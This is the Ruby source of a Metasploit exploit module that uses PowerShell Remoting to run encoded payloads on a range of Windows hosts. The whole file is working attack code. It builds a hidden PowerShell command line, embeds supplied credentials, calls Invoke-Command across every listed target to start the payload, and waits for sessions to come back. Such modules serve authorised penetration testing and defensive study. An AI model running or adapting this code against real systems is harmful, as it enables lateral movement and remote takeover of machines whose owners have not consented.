metasploit-framework/modules/exploits/windows/local/powershell_remoting.rb

156 lines
4.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{
This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames.
},
'License' => MSF_LICENSE,
'Author' => [ 'Ben Campbell' ],
'References' =>
[
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Jan 01 1999',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('SMBUser', [ false, 'The username to authenticate as' ]),
OptString.new('SMBPass', [ false, 'The password for the specified username' ]),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]),
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
OptPath.new('HOSTFILE', [ false, 'Line separated file with hostnames to target' ]),
# Move this out of advanced
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
OptBool.new("ExitOnSession", [ true, "Return from the exploit after a session has been created", false ])
])
register_advanced_options(
[
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 60])
], self.class)
end
def exploit
if !datastore['ExitOnSession'] && !job_id
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
end
unless datastore['RHOSTS'] || datastore['HOSTFILE']
fail_with(Failure::BadConfig, "Need RHOSTS or HOSTFILE specified.")
end
if datastore['SMBUser'] && datastore['SMBPass'].nil?
fail_with(Failure::BadConfig, "Need both username and password set.")
end
if datastore['RHOSTS']
ip_list = "$iplist="
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |ip|
ip_list << "'#{ip}',"
end
# Remove trailing comma...
ip_list = ip_list[0..-2]
ip_list << ";"
end
known_hosts = ""
if datastore['HOSTFILE']
::File.open(datastore['HOSTFILE'], "rb").each_line do |hostname|
hostname.strip!
known_hosts << "'#{hostname}'," unless hostname.blank?
end
known_hosts = known_hosts[0..-2]
end
command = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
encode_final_payload: true,
remove_comspec: true)
ps = <<EOF
#{generate_credentials}
$ResultList=@(#{known_hosts});
#{ip_list}
foreach($ip in $iplist){$Resultlist += [System.Net.Dns]::GetHostbyAddress($ip).HostName};
Invoke-Command -AsJob -ComputerName $ResultList -ScriptBlock { cmd.exe /c start #{command} }
EOF
if datastore['SMBUser']
ps << " -Credential $creds"
end
# If the host process terminates too quickly the jobs will die
# before they spawn in a new process.
ps << ";Sleep 20;"
ps.gsub!("\n", "")
command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: ps
)
print_status("Executing command...")
begin
cmd_exec(command)
rescue Rex::TimeoutError
end
stime = Time.now.to_f
loop do
break if session_created? && datastore['ExitOnSession']
break if datastore['ListenerTimeout'].to_i > 0 && (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f)
Rex.sleep(1)
end
print_status("Completed")
end
def generate_credentials(domain = datastore['SMBDomain'], user = datastore['SMBUser'], pass = datastore['SMBPass'])
creds = ""
unless user.nil?
creds = "$pass=ConvertTo-SecureString -string '#{pass}' -asPlainText -force;"\
"$creds=new-object -typename System.Management.Automation.PSCredential -argumentlist "
if domain.nil?
creds << "'#{user}'"
else
creds << "'#{domain}\\#{user}'"
end
creds << ",$pass;"
end
creds
end
end